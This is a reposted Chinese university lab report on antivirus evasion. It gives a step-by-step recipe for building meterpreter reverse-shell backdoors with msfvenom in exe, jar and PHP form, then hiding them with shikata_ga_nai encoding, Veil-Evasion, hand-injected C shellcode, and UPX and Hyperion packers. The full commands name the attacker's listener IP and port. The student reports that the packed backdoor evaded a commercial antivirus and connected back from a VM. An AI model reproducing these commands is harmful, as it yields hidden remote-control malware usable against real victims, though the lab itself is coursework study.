博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
2018-2019-2 网络对抗技术 20165328 Exp3 免杀原理与实践
阅读量:5272 次
发布时间:2019-06-14

本文共 3810 字,大约阅读时间需要 12 分钟。

一、实验要求:

1. 实践内容(3.5分)  1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)  1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)  1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)2 报告内容:  2.1.基础问题回答  (1)杀软是如何检测出恶意代码的?  (2)免杀是做什么?  (3)免杀的基本方法有哪些?  2.2.实践总结与体会  2.3.开启杀软能绝对防止电脑中恶意代码吗?  2.4.实践过程记录3.报告评分 1分  3.1 报告整体观感 0.5分      3.1.1 报告格式范围,版面整洁 加0.5。      3.1.2 报告排版混乱,加0分。  3.2 文字表述 0.5分     3.2.1报告逻辑清楚,比较简要地介绍了自己的操作目标与过程 加0.5分。     3.2.2报告逻辑混乱表述不清或文字有明显抄袭可能 加0分

二、免杀基础问题回答:

1、杀毒软件是如何检测出恶意代码的?

  • 是基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会尽可能的更新这个特征库,以包括尽可能多的恶意代码,当一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)。
  • 是启发式恶意软件检测(很简单,就是根据些片面特征去推断,也就是进行检测,当某个软件或者程序想干一些看起来像是恶意软件干的事情,那么机会被定义为恶意软件,检测效果比较显著,可以检测0-day恶意软件,但通常是因为缺乏精确判定依据,并且因为需要一直检测,所以开销比较大)。
  • 是基于行为的恶意软件检测(在启发式上加入了行为监控,基于动态的监控)。

2、免杀是做什么?

  • 顾名思义,就是通过一系列的操作修改使杀毒软件无法检测灭杀恶意代码

3、免杀的基本方法有哪些?

  • 改变特征码 例如加壳。
  • 自己手写恶意代码避开易被查杀的特征码 制作恶意软件。

三、实验内容:

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. 正确使用msf编码器,生成exe文件

  • 在实验二中使用msf生成了后门程序,我们可以使用或这两个网站对生成的后门程序进行扫描。

  • 用VirusTotal扫描后结果如下:

  • 继续使用Virscan网站检验,此时会出现如下错误:

  • 改名后继续扫描,结果如下:

综上可知,不加任何处理的后门程序会被大多数的杀毒软件检测出来,接下来使用msf编码器对后门程序进行编码处理,然后继续进行检测

  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.211 LPORT=5328 -f exe > backdoor .exe

    继续扫描结果如下:

能检测出来的杀毒软件比之前少了一些,证明编码操作可以躲过一些杀毒软件的查杀

  • 十次编码使用命令:-i设置迭代次数
  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.211 LPORT=5328 -f exe > backdoor.exe

 

          继续扫描结果如下:

 

可以看出和之前的一次编码相比没多大区别,可见多次编码对免杀没有太大的效果,原因有两点:

  1. 杀软只要盯住shikata_ga_nai解码(decoder stub)加入exe的部分。
  2. msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。

2. msfvenom生成jar文件:

  • 生成java后门程序使用命令:
  • msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.211 LPORT=5328 x> djw-backdoor.jar

    生成文件如下:

  • 扫描结果如下:

3. msfvenom生成php文件

  • 生成PHP后门程序使用命令:
  • msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.211 LPORT=5328 x> djw_backdoor.php

    生成文件如下:

  • 扫描结果如下:

4. 使用veil-evasion生成后门程序及检测

  • 安装veil命令如下:
  • mkdir -p ~/.cache/winecd ~/.cache/wine wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msiwget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
    • sudo apt-get install veil-evasion命令安装Veil

    • 之后用veil打开veil,输入y继续安装直至完成:

  • 之后用veil打开veil,输入y继续安装直至完成,输入veil指令,会出现下面这个界面: 

  • 用use evasion命令进入Evil-Evasion:

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面:

  • 设置反弹连接IP,命令为:set LHOST 192.168.1.127,注意此处的IP是KaliIP;

  • 设置端口,命令为:set LPORT 5328

  • 输入generate生成文件,接着输入你想要playload的名字:veil_c_5328

  • 检测一下:

可以看到还是依然会被检测出来。

5. 半手工注入Shellcode并执行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.127 LPORT=5328 -f c用c语言生成一段shellcode;

  • 创建一个文件20165328.c,然后将unsigned char buf[]赋值到其中,代码如下:

  • 使用命令:i686-w64-mingw32-g++ 20165328.c -o 20165328.exe编译这个.c文件为可执行文件;

  • 检测结果如下图:

  • 当想要使用windows上执行该程序时,被电脑的腾讯电脑管家查杀:

话说我才刚复制过去就没了,电脑管家有点猛啊

6.加壳尝试一下

  • 使用压缩壳(UPX)

  • 给之前的20165328.exe加个壳得到djw_upxed.exe:

  • 检测结果如下:

嗯,还是直接没了。。。。。。

  • 再在网站上扫描一下:

稍微少了一些,看来加壳有效果

加密壳Hyperion

  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
  • 进入目录/usr/share/windows-binaries/hyperion/
  • 输入命令wine hyperion.exe -v djw_upxed.exe djw_upxed_Hyperion.exe进行加壳:

  • 尝试一下反弹连接:

  • 扫描查杀一下:

电脑管家这次没有查杀出来

任务二:通过组合应用各种技术实现恶意代码免杀

  • 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
  • 基本和实验的任务一后半部分相同
  • 任务成功截图:

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本:

  • 实验环境:被控机是Win7虚拟机,电脑管家
  • 攻击成功,可以查看他的文件夹13.3.20237.212
  • 两台电脑ping通截图;

  • 然后就无论如何都反弹不回来了,问了许多同学都没有解决,就只能这样了

实践总结与体会:

  •    通过这次实验我了解了许多新的知识,仿佛为我打开了新世界的大门,以前在我心目中一直显得高大上遥不可及的后门,免杀第一次清晰地呈现在了我的面前,让我得以一窥传说中的黑客真容,同时通过此次实验我也了解到了一些便捷的如VirusTotal之类的网站,更加熟悉了Kali的使用,为我今后的学习打下了更坚实的基础

离实战还缺些什么技术或步骤?

 

  • 我感觉我离实战还有很大很大的差距,就拿这次的实验来说,我大多数的时候都是参考其他同学的博客来做的,缺乏了一些自己的想法,在真正的实战中,情况瞬息万变,不会有时间拿来给我们慢慢的模仿,学习。所以我们需要学习更多的知识,做更多的练习,才能真正的达到实战的地步。

 

转载于:https://www.cnblogs.com/dky20165328/p/10630575.html

你可能感兴趣的文章
【C#】将数据库读出的数据转换为DataTable类型集合
查看>>
多页面的目录建立
查看>>
Recover Binary Search Tree
查看>>
两个VLC实现播放串流测试
查看>>
WCF再学习小结
查看>>
自动化运维工具之Ansible
查看>>
Python初识爬虫
查看>>
MySQL线程独享内存参数
查看>>
指甲有竖纹的成因及治疗方法
查看>>
VC控件MSComm编写串口通信程序(转)
查看>>
在Linux下测试SD卡的读写速度
查看>>
闭合电路欧姆定律 证明题1
查看>>
第三次作业-效能分析
查看>>
关于【最长递增子序列(LIS)】
查看>>
HDU 5768:Lucky7(中国剩余定理 + 容斥原理)
查看>>
训练总结
查看>>
HDU 3949:XOR(高斯消元+线性基)
查看>>
next_permutation()—遍历全排列
查看>>
JNA的使用
查看>>
Web设计的十大错误
查看>>